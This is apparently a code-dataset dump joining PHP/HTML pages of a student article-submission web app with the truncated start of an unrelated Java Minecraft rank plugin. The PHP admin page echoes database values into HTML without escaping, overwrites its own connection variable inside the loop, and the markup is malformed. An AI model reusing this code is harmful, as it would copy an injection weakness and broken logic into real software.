rel="icon" href="assets/img/logo.png" type="image/png" sizes="16x16"> <link rel='stylesheet' href='https://d33wubrfki0l68.cloudfront.net/css/478ccdc1892151837f9e7163badb055b8a1833a5/light/assets/vendor/pace/pace.css' /> <script src='https://d33wubrfki0l68.cloudfront.net/js/3d1965f9e8e63c62b671967aafcad6603deec90c/light/assets/vendor/pace/pace.min.js'></script> <!--vendors--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/bundles/291bbeead57f19651f311362abe809b67adc3fb5.css' /> <link rel='stylesheet' href='https://d33wubrfki0l68.cloudfront.net/bundles/fc681442cee6ccf717f33ccc57ebf17a4e0792e1.css' /> <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,600" rel="stylesheet"> <!--Material Icons--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/548117a22d5d22545a0ab2dddf8940a2e32c04ed/default/assets/fonts/materialdesignicons/materialdesignicons.min.css' /> <!--Material Icons--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/0940f25997c8e50e65e95510b30245d116f639f0/light/assets/fonts/feather/feather-icons.css' /> <!--Bootstrap + atmos Admin CSS--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/16e33a95bb46f814f87079394f72ef62972bd197/light/assets/css/atmos.min.css' /> <!-- Additional library for page --> <body class="sidebar-pinned "> <?php include 'aside.php' ?> <main class="admin-main"> <!-- Header --> <?php include 'header.php' ?> <!-- Session --> <section class="admin-content"> <div class="container m-t-30"> <div class="card m-b-30"> <div class="card-header"> <h5 class="m-b-0"> Create New Topic </h5> <p class="m-b-0 text-muted"> Please input fullfill information to create topic. </p> </div> <div class="card-body "> <form action=""> <div class="form-group"> <label for="inputName1">Name of Topic</label> <input type="email" class="form-control" id="inputName1" name="topic" placeholder="Enter name of topic" required> </div> <div class="form-group"> <label>Select Begin Date</label> <input type="text" class="js-datepicker form-control" placeholder="Click to selectdate date."> </div> <div class="form-group"> <label>Select Begin Date</label> <div class="input-group"> <textarea class="form-control" aria-label="With textarea" spellcheck="false" placeholder="Enter description in here."></textarea> <grammarly-extension data-grammarly-shadow-root="true" class="cGcvT" style="position: absolute; top: 0px; left: 0px; pointer-events: none; z-index: 3;"> </grammarly-extension> </div> </div> <input class="btn btn-primary btn-md float-right" value="Create Topic"> </form> </div> </div> </div> </div> </section> </main> </body> </body> <script type="text/javascript" src="https://cdn.jsdelivr.net/jquery/latest/jquery.min.js"></script> <script type="text/javascript" src="https://cdn.jsdelivr.net/momentjs/latest/moment.min.js"></script> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.css" /> <script src='https://d33wubrfki0l68.cloudfront.net/bundles/85bd871e04eb889b6141c1aba0fedfa1a2215991.js'></script> <!--page specific scripts for demo--> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-66116118-3"></script> <script> window.dataLayer = window.dataLayer || []; function gtag() { dataLayer.push(arguments); } gtag('js', new Date()); gtag('config', 'UA-66116118-3');</script> <!--Additional Page includes--> <script src='https://d33wubrfki0l68.cloudfront.net/js/c36248babf70a3c7ad1dcd98d4250fa60842eea9/light/assets/vendor/apexchart/apexcharts.min.js'></script> <!--chart data for current dashboard--> <script src='https://d33wubrfki0l68.cloudfront.net/js/d678dabfdc5c3131d492af7ef517fbe46fbbd8e4/light/assets/js/dashboard-01.js'></script> </body> </html><file_sep>/user/student/submit.php <!DOCTYPE html> <html lang="en"> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" name="viewport"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-touch-fullscreen" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="default"> <meta content="" name="author" /> <meta content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" name="description" /> <meta property="og:locale" content="en_US" /> <meta property="og:type" content="website" /> <meta property="og:title" content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" /> <meta property="og:description" content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" /> <meta property="og:image" content="https://cdn.dribbble.com/users/180706/screenshots/5424805/the_sceens_-_mobile_perspective_mockup_3_-_by_tranmautritam.jpg" /> <meta property="og:site_name" content="atlas " /> <title>Home Page</title> <link rel="icon" type="image/x-icon" href="assets/img/logo.png" /> <link rel="icon" href="assets/img/logo.png" type="image/png" sizes="16x16"> <link rel='stylesheet' href='https://d33wubrfki0l68.cloudfront.net/css/478ccdc1892151837f9e7163badb055b8a1833a5/light/assets/vendor/pace/pace.css' /> <script src='https://d33wubrfki0l68.cloudfront.net/js/3d1965f9e8e63c62b671967aafcad6603deec90c/light/assets/vendor/pace/pace.min.js'></script> <!--vendors--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/bundles/291bbeead57f19651f311362abe809b67adc3fb5.css' /> <link rel='stylesheet' href='https://d33wubrfki0l68.cloudfront.net/bundles/fc681442cee6ccf717f33ccc57ebf17a4e0792e1.css' /> <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,600" rel="stylesheet"> <!--Material Icons--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/548117a22d5d22545a0ab2dddf8940a2e32c04ed/default/assets/fonts/materialdesignicons/materialdesignicons.min.css' /> <!--Material Icons--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/0940f25997c8e50e65e95510b30245d116f639f0/light/assets/fonts/feather/feather-icons.css' /> <!--Bootstrap + atmos Admin CSS--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/16e33a95bb46f814f87079394f72ef62972bd197/light/assets/css/atmos.min.css' /> <!-- Additional library for page --> <?php include 'aside.php' ?> <body class="sidebar-pinned "> <?php include 'aside.php' ?> <main class="admin-main"> <!-- Header --> <?php include 'header.php' ?> <!-- Session --> <section class="admin-content"> <div class="container m-t-30"> <div class="card m-b-30"> <div class="card-header"> <h5 class="m-b-0"> Cloud computing </h5> <p class="m-b-0 text-muted"> </p> </div> <div class="card-body p-b-0"> <table class="table table-striped"> <tbody> <tr> <td>Submission</td> <td>No attempt</td> </tr> <tr> <td>Grading status</td> <td>Not graded</td> </tr> <tr> <td>Due date</td> <td>Thursday, 2 January 2021, 12:00 PM</td> </tr> <tr> <td>Time remaining</td> <td>Deadline is overdue by: 1 year 62 days</td> </tr> <tr> <td>Last modified</td> <td>Deadline is overdue by: 1 year 62 days</td> </tr> <tr> <td>Submission comments</td> <td> <div class="input-group m-b-10"> <div class="input-group-prepend"> <span class="input-group-text">With textarea</span> </div> <textarea class="form-control" aria-label="With textarea" spellcheck="false"></textarea> <grammarly-extension data-grammarly-shadow-root="true" style="position: absolute; top: 0px; left: 0px; pointer-events: none; z-index: 3;" class="cGcvT"></grammarly-extension> </div> <div class="button-comment float-right"> <button class="btn btn-warning">Comments</button> <button class="btn btn-danger">Cancle</button> </div> </td> </tr> </tbody> </table> </div> <div class=" card-footer button-submit text-center"> <button type="button" class="btn btn-lg btn-primary" data-toggle="modal" data-target=".modal-submit-artical">Add Submission </button> </div> <!-- Modal --> <div class="modal fade modal-submit-artical" tabindex="-1" role="dialog" aria-labelledby="submissionModal" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="submissionModal">Upload Article</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times;</span> </button> </div> <div class="modal-body"> <div class="card-header"> <p class="m-b-0 text-muted"> Students are need to provide complete information prior to submitting an article. </p> </div> <form action=""> <div class="form-row"> <div class="form-group col-md-6"> <label for="inputName">Name of article</label> <input type="text" class="form-control" id="inputName" name="nameArticle" placeholder="Name of article"> </div> <div class="form-group col-md-6"> <label for="inputAuthor">Author</label> <input type="text" class="form-control" id="inputAuthor" name="nameAuthor"> </div> </div> <div class="form-group""> <div> <p class=" font-secondary">File Uploads</p> <div class="input-group mb-3"> <div class="custom-file" onload="GetFileInfo ()"> <input type="file" class="custom-file-input" id="inputFile" name="inputFileArticle" multiple onchange="GetFileInfo ()"> <label class="custom-file-label" for="inputFile">Choose file</label> </div> </div> <div id="info" style="margin-top:10px"></div> </div> </div> <div class="form-group"> <div class="form-check"> <input class="form-check-input" type="checkbox" id="gridCheck" name="agree"> <label class="form-check-label" for="gridCheck"> I agree to the Terms and Conditions </label> </div> </div> <div class="form-group float-right"> <button class="btn btn-primary">Submit</button> <button type="button" class="btn btn-secondary" data-dismiss="modal"> Close </button> </div> </form> </div> </div> </div> </div> </div> </section> </main> </section> <head> <script type="text/javascript"> var mess = ""; var count =0; function GetFileInfo() { var fileInput = document.getElementById("inputFile"); var message = ""; if ('files' in fileInput) { if (fileInput.files.length == 0) { message = "Please browse for one or more files."; } else { for (var i = 0; i < fileInput.files.length; i++) { count = count +1; message += "<br /><b>File" + count + "</b><br />"; var file = fileInput.files[i]; if ('name' in file) { message += "Name of file: " + file.name + "<br />"; } else { message += "Name of file: " + file.fileName + "<br />"; } if ('size' in file) { message += "Size of file: " + file.size + " bytes <br />"; } else { message += "Size of file: " + file.fileSize + " bytes <br />"; } if ('mediaType' in file) { message += "Type: " + file.mediaType + "<br />"; } } } } else { if (fileInput.value == "") { message += "Please browse for one or more files!"; message += "<br />Use the Control or Shift key for multiple selection."; } else { message += "Your browser doesn't support the files property!"; message += "<br />The path of the selected file: " + fileInput.value; } } mess = mess + message; var info = document.getElementById("info"); info.innerHTML = mess; } </script> </head> <script src='https://d33wubrfki0l68.cloudfront.net/bundles/85bd871e04eb889b6141c1aba0fedfa1a2215991.js'></script> <!--page specific scripts for demo--> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-66116118-3"></script> <script> window.dataLayer = window.dataLayer || []; function gtag() { dataLayer.push(arguments); } gtag('js', new Date()); gtag('config', 'UA-66116118-3');</script> <!--Additional Page includes--> <script src='https://d33wubrfki0l68.cloudfront.net/js/c36248babf70a3c7ad1dcd98d4250fa60842eea9/light/assets/vendor/apexchart/apexcharts.min.js'></script> <!--chart data for current dashboard--> <script src='https://d33wubrfki0l68.cloudfront.net/js/d678dabfdc5c3131d492af7ef517fbe46fbbd8e4/light/assets/js/dashboard-01.js'></script> </body> </html><file_sep>/admin/view_submited.php <?php include "../connect_db.php"; ?> <!-- Bootstrap Core CSS --> <link href="css/bootstrap.min.css" rel="stylesheet"> <!-- Custom CSS --> <link href="css/sb-admin.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <div class="widget-box"> <div class="widget-content nopadding"> <table class="table table-bordered table-striped"> <thead> <tr style="background-color: red;"> <th>Id</th> <th>File content</th> <th>Date Submit</th> <th>Comment</th> <th>Select</th> </tr> </thead> <tbody> <?php $i = 1; $res = mysqli_query($conn, "select * from file_submit "); while ($conn = mysqli_fetch_array($res)) { echo "<td>"; echo $i++; echo "</td>"; echo "<td>"; if (strpos($conn["file_content_upload"], 'image/')) { ?> <img src="/contribution_application/user/<?php echo $conn["file_content_upload"]; ?>" height="50" width="50"> <?php } else { echo ('no image'); } echo "</td>"; echo "<td>"; echo date("d/m/y H:i", $conn["file_date_uploaded"]); echo "</td>"; echo "<td>"; ?> <a href="#">Comment</a> <?php echo "</td>"; echo "<td>"; ?> <a href="#">Mark</a> <?php echo "</td>"; echo "</tr>"; } ?> </tbody> </table> </div> </div><file_sep>/user/manage-coordinator/listofreport.php <!DOCTYPE html> <html lang="en"> <meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0" name="viewport"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-touch-fullscreen" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="default"> <meta content="" name="author" /> <meta content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" name="description" /> <meta property="og:locale" content="en_US" /> <meta property="og:type" content="website" /> <meta property="og:title" content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" /> <meta property="og:description" content="atlas is Bootstrap 4 based admin panel.It comes with 100's widgets,charts and icons" /> <meta property="og:image" content="https://cdn.dribbble.com/users/180706/screenshots/5424805/the_sceens_-_mobile_perspective_mockup_3_-_by_tranmautritam.jpg" /> <meta property="og:site_name" content="atlas " /> <title>Home Page</title> <link rel="icon" type="image/x-icon" href="assets/img/logo.png" /> <link rel="icon" href="assets/img/logo.png" type="image/png" sizes="16x16"> <link rel='stylesheet' href='https://d33wubrfki0l68.cloudfront.net/css/478ccdc1892151837f9e7163badb055b8a1833a5/light/assets/vendor/pace/pace.css' /> <script src='https://d33wubrfki0l68.cloudfront.net/js/3d1965f9e8e63c62b671967aafcad6603deec90c/light/assets/vendor/pace/pace.min.js'></script> <!--vendors--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/bundles/291bbeead57f19651f311362abe809b67adc3fb5.css' /> <link rel='stylesheet' href='https://d33wubrfki0l68.cloudfront.net/bundles/fc681442cee6ccf717f33ccc57ebf17a4e0792e1.css' /> <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,600" rel="stylesheet"> <!--Material Icons--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/548117a22d5d22545a0ab2dddf8940a2e32c04ed/default/assets/fonts/materialdesignicons/materialdesignicons.min.css' /> <!--Material Icons--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/0940f25997c8e50e65e95510b30245d116f639f0/light/assets/fonts/feather/feather-icons.css' /> <!--Bootstrap + atmos Admin CSS--> <link rel='stylesheet' type='text/css' href='https://d33wubrfki0l68.cloudfront.net/css/16e33a95bb46f814f87079394f72ef62972bd197/light/assets/css/atmos.min.css' /> <!-- Additional library for page --> <link rel="stylesheet" type='text/css' href="./css/student.css" /> <?php include 'aside.php' ?> <body class="sidebar-pinned "> <?php include 'aside.php' ?> <main class="admin-main"> <!-- Header --> <?php include 'header.php' ?> <!-- Session --> <section class="admin-content"> <div class="container m-t-30" style="margin-top: 0"> <div class="row justify-content-md-center"> <div class="col-md-12 mt-4 mb-4" style="background-color: #FFFFFF; font-weight: bold; padding-bottom: 1%;padding-top: 1%; border-radius: 10px;"> MANAGE SYTEM > <a href="#" style="color: blue;">MANAGE ARTICLE</a></div> <div class="col-md-12 mt-4 mb-4" style="font-weight: bold;"> <img src="https://img.icons8.com/metro/26/000000/file.png" /> ACTICLE </div> <div class="form-group has-search col-md-12 row" style="background-color: #F4F7FC; border-radius: 10px;"> <div class="form-group has-search col-md-12" style="margin: 2%;"> <input type="text" class="form-control col-md-4" placeholder="Search"> </div> <div class="col-md-12" style="padding-left: 0; padding-right:0"> <table class="table table-bordered"> <thead class="thead" style="background-color: #F4F7FC; text-align: center;"> <tr style="color: black !important"> <th style="color: black !important" scope="col">NO.</th> <th style="color: black !important" scope="col">AVATAR</th> <th style="color: black !important" scope="col">STUDENT OWNER</th> <th style="color: black !important" scope="col">EMAIL</th> <th style="color: black !important" scope="col">STATUS</th> <th style="color: black !important" scope="col">ACTION</th> <th style="color: black !important" scope="col">SUBMIT TIME</th> </tr> </thead> <tbody style="text-align: center;"> <tr> <th scope="row" style="padding: 2.5%;">1</th> <td><img src="../images/AvatarListofReport.png"></td> <td style="padding: 2.5%;">Nguyen Thu Thuy</td> <td style="padding: 2.5%;"><EMAIL></td> <td style="padding: 1.5%;"><button style="border-radius: 20px" type="button" class="btn btn-success">NOT GRADE</button></td> <td style="padding: 1.5%;"><button style="border-radius: 10px" type="button" class="btn btn-primary">GRADE</button></td> <td style="padding: 2.5%;">13/05/2021</td> </tr> <tr> <th scope="row">2</th> <td><img src="../images/AvatarListofReport.png"></td> <td style="padding: 2.5%;">Nguyen Thu Thuy</td> <td style="padding: 2.5%;"><EMAIL></td> <td style="padding: 1.5%;"><button style="border-radius: 20px" type="button" class="btn btn-success">NOT GRADE</button></td> <td style="padding: 1.5%;"><button style="border-radius: 10px" type="button" class="btn btn-primary">GRADE</button></td> <td style="padding: 2.5%;">13/05/2021</td> </tr> <tr> <th scope="row">3</th> <td><img src="../images/AvatarListofReport.png"></td> <td style="padding: 2.5%;"><NAME></td> <td style="padding: 2.5%;"><EMAIL></td> <td style="padding: 1.5%;"><button style="border-radius: 20px" type="button" class="btn btn-danger">GRADED</button></td> <td style="padding: 1.5%;"><button style="border-radius: 10px" type="button" class="btn btn-warning">EDIT</button></td> <td style="padding: 2.5%;">13/05/2021</td> </tr> </tbody> </table> </div> </div> </div> </div> </section> </main> </body> <script src='https://d33wubrfki0l68.cloudfront.net/bundles/85bd871e04eb889b6141c1aba0fedfa1a2215991.js'></script> <!--page specific scripts for demo--> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=UA-66116118-3"></script> <script> window.dataLayer = window.dataLayer || []; function gtag() { dataLayer.push(arguments); } gtag('js', new Date()); gtag('config', 'UA-66116118-3'); </script> <!--Additional Page includes--> <script src='https://d33wubrfki0l68.cloudfront.net/js/c36248babf70a3c7ad1dcd98d4250fa60842eea9/light/assets/vendor/apexchart/apexcharts.min.js'></script> <!--chart data for current dashboard--> <script src='https://d33wubrfki0l68.cloudfront.net/js/d678dabfdc5c3131d492af7ef517fbe46fbbd8e4/light/assets/js/dashboard-01.js'></script> </body> </html>
5a0bb670ab1d7a4dfc6a5a1a7c6555958fd428dc
[ "SQL", "PHP" ]
5
SQL
tranlinh2610/contribution_application
e0c5fb2499592cb1b22f2b7b6437b2ead437fb3f
1e4a256520a7df8ad0b33a510ac8aae9a2b10ec2
refs/heads/master
<repo_name>plugcraft/Time-Rank<file_sep>/src/com/oberonserver/perms/methods/GM.java package com.oberonserver.perms.methods; import org.anjocaido.groupmanager.GroupManager; import org.anjocaido.groupmanager.data.Group; import org.anjocaido.groupmanager.data.User; import org.anjocaido.groupmanager.dataholder.OverloadedWorldHolder; import org.anjocaido.groupmanager.dataholder.worlds.WorldsHolder; import org.bukkit.entity.Player; import org.bukkit.plugin.Plugin; import com.nijiko.permissions.PermissionHandler; import com.nijikokun.bukkit.Permissions.Permissions; import com.oberonserver.perms.PermMethod; import com.oberonserver.timerank.timerank; public class GM implements PermMethod { timerank plugin; GroupManager gm; public GM(timerank instance,Plugin instance2) { plugin=instance; gm=(GroupManager) instance2; } public void AddGroup(Player p, String parentWorld, String parentName) { String world = p.getWorld().getName(); String name = p.getName(); User u; Group newGroup; WorldsHolder worldsHolder = gm.getWorldsHolder(); plugin.DebugPrint("GM trying to promote user " + name + " in " + world); OverloadedWorldHolder dataHolder = null; dataHolder = worldsHolder.getWorldData(parentWorld); u=dataHolder.getUser(name); newGroup = dataHolder.getGroup(parentName); if (newGroup == null) { plugin.DebugPrint(parentName + " Group not found!"); return; } else { plugin.DebugPrint(parentName + " Group found as " + newGroup.getName()); } plugin.DebugPrint("Promoting " + u.getName() + " from " + u.getGroupName()); u.setGroup(newGroup); plugin.DebugPrint( u.getName() + " is now in " + u.getGroupName()); } public void RemoveGroup(String world, String name, String parentWorld, String parentName) { } public boolean AddNode(Player p, String node, String World) { String name = p.getName(); User u; WorldsHolder worldsHolder = gm.getWorldsHolder(); OverloadedWorldHolder dataHolder = null; dataHolder = worldsHolder.getWorldData(World); u=dataHolder.getUser(name); u.addPermission(node); return true; } public boolean RemoveNode(Player p, String node, String World) { String name = p.getName(); User u; WorldsHolder worldsHolder = gm.getWorldsHolder(); OverloadedWorldHolder dataHolder = null; dataHolder = worldsHolder.getWorldData(World); u=dataHolder.getUser(name); u.removePermission(node); return true; } @SuppressWarnings("deprecation") public PermissionHandler getHandler() { return Permissions.Security; } public boolean HasPermission(Player p, String PermissionNode) { return getHandler().has(p,PermissionNode); } public boolean HasPermission(Player p, String PermissionNode, String world) { return getHandler().has(world,p.getName(),PermissionNode); } public boolean inGroup(Player p, String parentWorld, String parentName) { return getHandler().inGroup(parentWorld, p.getName(), parentName); } } <file_sep>/src/com/oberonserver/timerank/timerank.java package com.oberonserver.timerank; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.reflect.Field; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.LinkedHashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.Properties; import java.util.logging.Logger; import org.bukkit.Material; import org.bukkit.command.Command; import org.bukkit.command.CommandSender; import org.bukkit.entity.Player; import org.bukkit.event.Event; import org.bukkit.inventory.ItemStack; import org.bukkit.plugin.Plugin; import org.bukkit.plugin.PluginManager; import org.bukkit.plugin.java.JavaPlugin; import org.bukkit.util.config.Configuration; import com.nijiko.permissions.PermissionHandler; import com.nijikokun.bukkit.Permissions.Permissions; import com.nijikokun.timerank.register.payment.Method; import com.oberonserver.perms.PermMethod; public class timerank extends JavaPlugin { private boolean debug = false; static String mainDirectory = "plugins/TimeRank"; static File times = new File(mainDirectory+File.separator+"Time.dat"); public Logger log = Logger.getLogger("Minecraft"); public PermissionHandler permissionHandler; boolean UsePermissions = false; private final TimeRankPlayerListener playerListener = new TimeRankPlayerListener(this); private final TimeRankWorldListener worldListener = new TimeRankWorldListener(this); private final TimeRankServerListener serverListener = new TimeRankServerListener(this); public Map<String, Long> StartTime = new HashMap<String, Long>(); public Map<String, Long> PlayTime = new HashMap<String, Long>(); public List<PurchasedAbility> RentedAbilities; public List<PurchasedRank> RentedRanks; public Map<Rank, Long> Ranks = new LinkedHashMap<Rank, Long>(); public Map<Ability, Long> Abilities = new LinkedHashMap<Ability,Long>(); public Method Method = null; public PermMethod perms; public String permissions = "Permissions3"; private boolean hideUnavaible=false; private TimeRankChecker checker; private int checkDelay=5*20; private int checkInterval=10*20; public Configuration config; public void onEnable(){ //Get the plugin managor PluginManager pm = this.getServer().getPluginManager(); //register our events pm.registerEvent(Event.Type.PLAYER_JOIN , playerListener, Event.Priority.Monitor , this); pm.registerEvent(Event.Type.PLAYER_QUIT , playerListener, Event.Priority.Monitor , this); pm.registerEvent(Event.Type.WORLD_SAVE, worldListener, Event.Priority.Monitor, this); pm.registerEvent(Event.Type.PLUGIN_ENABLE, serverListener, Event.Priority.Monitor, this); pm.registerEvent(Event.Type.PLUGIN_DISABLE, serverListener, Event.Priority.Monitor, this); //Make our data folder and try and prepare the config file. new File(mainDirectory).mkdir(); new File(mainDirectory+File.separator+"data").mkdir(); //loadPlaytime(); config = getConfiguration(); loadConfig(); //setupPermissions(); //Get all players online and give them a start time. This is in case we are disabled/enabled after the server starts for(Player p : getServer().getOnlinePlayers()) { long now = System.currentTimeMillis(); StartTime.put(p.getName(),now); loadPlaytime(p.getName()); } //Schedule our check event checker = new TimeRankChecker(this, checkInterval); getServer().getScheduler().scheduleSyncRepeatingTask(this, checker, checkDelay, checkInterval); //Load what abilites were rented last time we were closed RentedAbilities = new LinkedList<PurchasedAbility>(); RentedRanks = new LinkedList<PurchasedRank>(); loadRent(); //All went well. log.info("[Time Rank] Version " + this.getDescription().getVersion() + " Enabled."); } public void onDisable(){ //stop our scheduled rank checker getServer().getScheduler().cancelTasks(this); //Save play time and clear variables savePlaytime(); saveRent(); permissionHandler=null; Ranks.clear(); Abilities.clear(); StartTime.clear(); PlayTime.clear(); RentedAbilities.clear(); RentedRanks.clear(); log.info("[Time Rank] Disabled."); } private void loadConfig() { try { config.load(); //check for old config. int cv=config.getInt("settings.configVersion", 1); if (cv==1) { log.info("[TimeRank] Old config version " + cv + " detected. Updating to new config format."); updateConfig(); config.load(); Ranks.clear(); } debug = config.getBoolean("settings.debug",false); hideUnavaible = config.getBoolean("settings.hideUnavaible",false); List<String> keys = config.getKeys("ranks"); DebugPrint("Ranks key size "+Integer.toString(keys.size())); //load config for(String key : keys) { String node="ranks."+key; String sGroup = config.getString(node+".group"); String sOldGroup = config.getString(node+".oldgroup",""); String sWorld = config.getString(node+".world","*"); boolean remove = config.getBoolean(node+".remove", false); int iTime = config.getInt(node+".time",-1); long lTime = (long)iTime * 60 * 1000; GenericGroup group = new GenericGroup(sWorld,sGroup);; GenericGroup gOldGroup=null; if (sOldGroup != "") gOldGroup = new GenericGroup(sWorld,sOldGroup); Rank rank = new Rank(key, group, gOldGroup, remove); rank.name=key; rank.time = lTime; if (config.getString(node+".buy.cost","").equalsIgnoreCase("money")) rank.cost=0; else rank.cost = config.getInt(node+".buy.cost", -1); if (rank.cost != -1) { rank.amount = config.getDouble(node+".buy.amount", 1); rank.minTime = config.getInt(node+".buy.minTime", -1)*60*1000; rank.broadcast = config.getBoolean(node+".buy.broadcast", true); rank.msg = config.getString(node+".buy.msg", "&B<player.name> &Ehas been promoted to &B<rank.group>"); } else { config.removeProperty(node+".buy.cost"); config.removeProperty(node+".buy"); } //Rent stuff if (config.getString(node+".rent.cost","").equalsIgnoreCase("money")) rank.rentCost=0; else rank.rentCost = config.getInt(node+".rent.cost", -1); if (rank.rentCost != -1) { rank.rentMinTime = config.getInt(node+".rent.minTime", -1)*60*1000; rank.rentAmount = config.getDouble(node+".rent.amount", 1); rank.rentBroadcast = config.getBoolean(node+".rent.broadcast", true); rank.rentGainedMsg = config.getString(node+".rent.gainedMsg", "&B<player.name> &Ehas been promoted to &B<rank.group>"); rank.rentLostMsg = config.getString(node+".rent.lostMsg", "&B<player.name> &Ehas been demoted from &B<rank.group> &Eto &B<rank.oldgroup>."); iTime = config.getInt(node+".rent.time",-1); lTime = (long)iTime * 60 * 1000; rank.rentTime = lTime; } else { config.removeProperty(node+".rent.cost"); config.removeProperty(node+".rent"); } rank.desc = config.getString(node+".description", ""); Ranks.put(rank, lTime); DebugPrint("Loaded " + rank.name + " with group " + rank.GetGroup().getName() + " in world " + rank.GetGroup().getWorld()); } //Load abilities node keys = config.getKeys("abilities"); if (keys != null) { DebugPrint("Abilities key size "+Integer.toString(keys.size())); List<String> emptyNodes = new LinkedList<String>(); emptyNodes.add("timerank.none"); List<String> emptyCat = new LinkedList<String>(); emptyCat.add("Uncategorized"); for(String key : keys) { String node="abilities."+key; String sWorld = config.getString(node+".world","*"); int iTime = config.getInt(node+".time",-1); long lTime = (long)iTime * 60 * 1000; Ability ability = new Ability(); ability.world=sWorld; ability.name=key; ability.permission = config.getString(node+".permission", "timerank.ab"); ability.Nodes = config.getStringList(node+".nodes", emptyNodes); ability.Categories = config.getStringList(node+".categories", emptyCat); ability.time = lTime; if (config.getString(node+".buy.cost","").equalsIgnoreCase("money")) ability.cost=0; else ability.cost = config.getInt(node+".buy.cost", -1); if (ability.cost != -1) { ability.amount = config.getDouble(node+".buy.amount", 1); ability.minTime = config.getInt(node+".buy.minTime", -1)*60*1000; ability.broadcast = config.getBoolean(node+".buy.broadcast", true); ability.msg = config.getString(node+".buy.msg", "&B<player.name> &Ehas bought &B<ability.name>"); } else { config.removeProperty(node+".buy.cost"); config.removeProperty(node+".buy"); } //Rent stuff if (config.getString(node+".rent.cost","").equalsIgnoreCase("money")) ability.rentCost=0; else ability.rentCost = config.getInt(node+".rent.cost", -1); if (ability.rentCost != -1) { ability.rentMinTime = config.getInt(node+".rent.minTime", -1)*60*1000; ability.rentAmount = config.getDouble(node+".rent.amount", 1); ability.rentBroadcast = config.getBoolean(node+".rent.broadcast", true); ability.rentGainedMsg = config.getString(node+".rent.gainedMsg", "&B<player.name> &Ehas rented &B<ability.name>"); ability.rentLostMsg = config.getString(node+".rent.lostMsg", "&B<player.name> &Ehas lost the &B<ability.name> ability"); iTime = config.getInt(node+".rent.time",-1); lTime = (long)iTime * 60 * 1000; ability.rentTime = lTime; } else { config.removeProperty(node+".rent.cost"); config.removeProperty(node+".rent"); } ability.desc = config.getString(node+".description", ""); Abilities.put(ability, lTime); DebugPrint("Loaded " + ability.name + " with permissions " + "" + " in world " + ability.world); } }else { DebugPrint("No abilities found."); } }catch(Exception e){ ThrowSimpleError(e); } } private void updateConfig() {//read in the old config and output a new one. config.load(); debug = config.getBoolean("settings.debug",false); hideUnavaible = config.getBoolean("settings.hideUnavaible",false); List<String> keys = config.getKeys("ranks"); DebugPrint("Keys size "+Integer.toString(keys.size())); //load old config for(String key : keys) { String node="ranks."+key; String sGroup = config.getString(node+".group"); String sOldGroup = config.getString(node+".oldgroup",""); String sWorld = config.getString(node+".world","*"); boolean remove = config.getBoolean(node+".remove", false); int iTime = config.getInt(node+".time",-1); long lTime = (long)iTime * 60 * 1000; GenericGroup group = new GenericGroup(sWorld,sGroup);; GenericGroup gOldGroup=null; if (sOldGroup != "") gOldGroup = new GenericGroup(sWorld,sOldGroup); Rank rank = new Rank(key, group, gOldGroup, remove); rank.name=key; rank.time = lTime; if (config.getString(node+".cost","").equalsIgnoreCase("money")) rank.cost=0; else rank.cost = config.getInt(node+".cost", -1); if (rank.cost != -1) { rank.amount = config.getDouble(node+".amount", 1); rank.minTime = config.getInt(node+".minTime", -1)*60*1000; rank.broadcast = config.getBoolean(node+".broadcast", true); rank.msg = config.getString(node+".msg", "&B<player.name> &Ehas been promoted to &B<rank.group>"); } else { config.removeProperty(node+".cost"); } //Rent stuff if (config.getString(node+".rentCost","").equalsIgnoreCase("money")) rank.rentCost=0; else rank.rentCost = config.getInt(node+".rentCost", -1); if (rank.rentCost 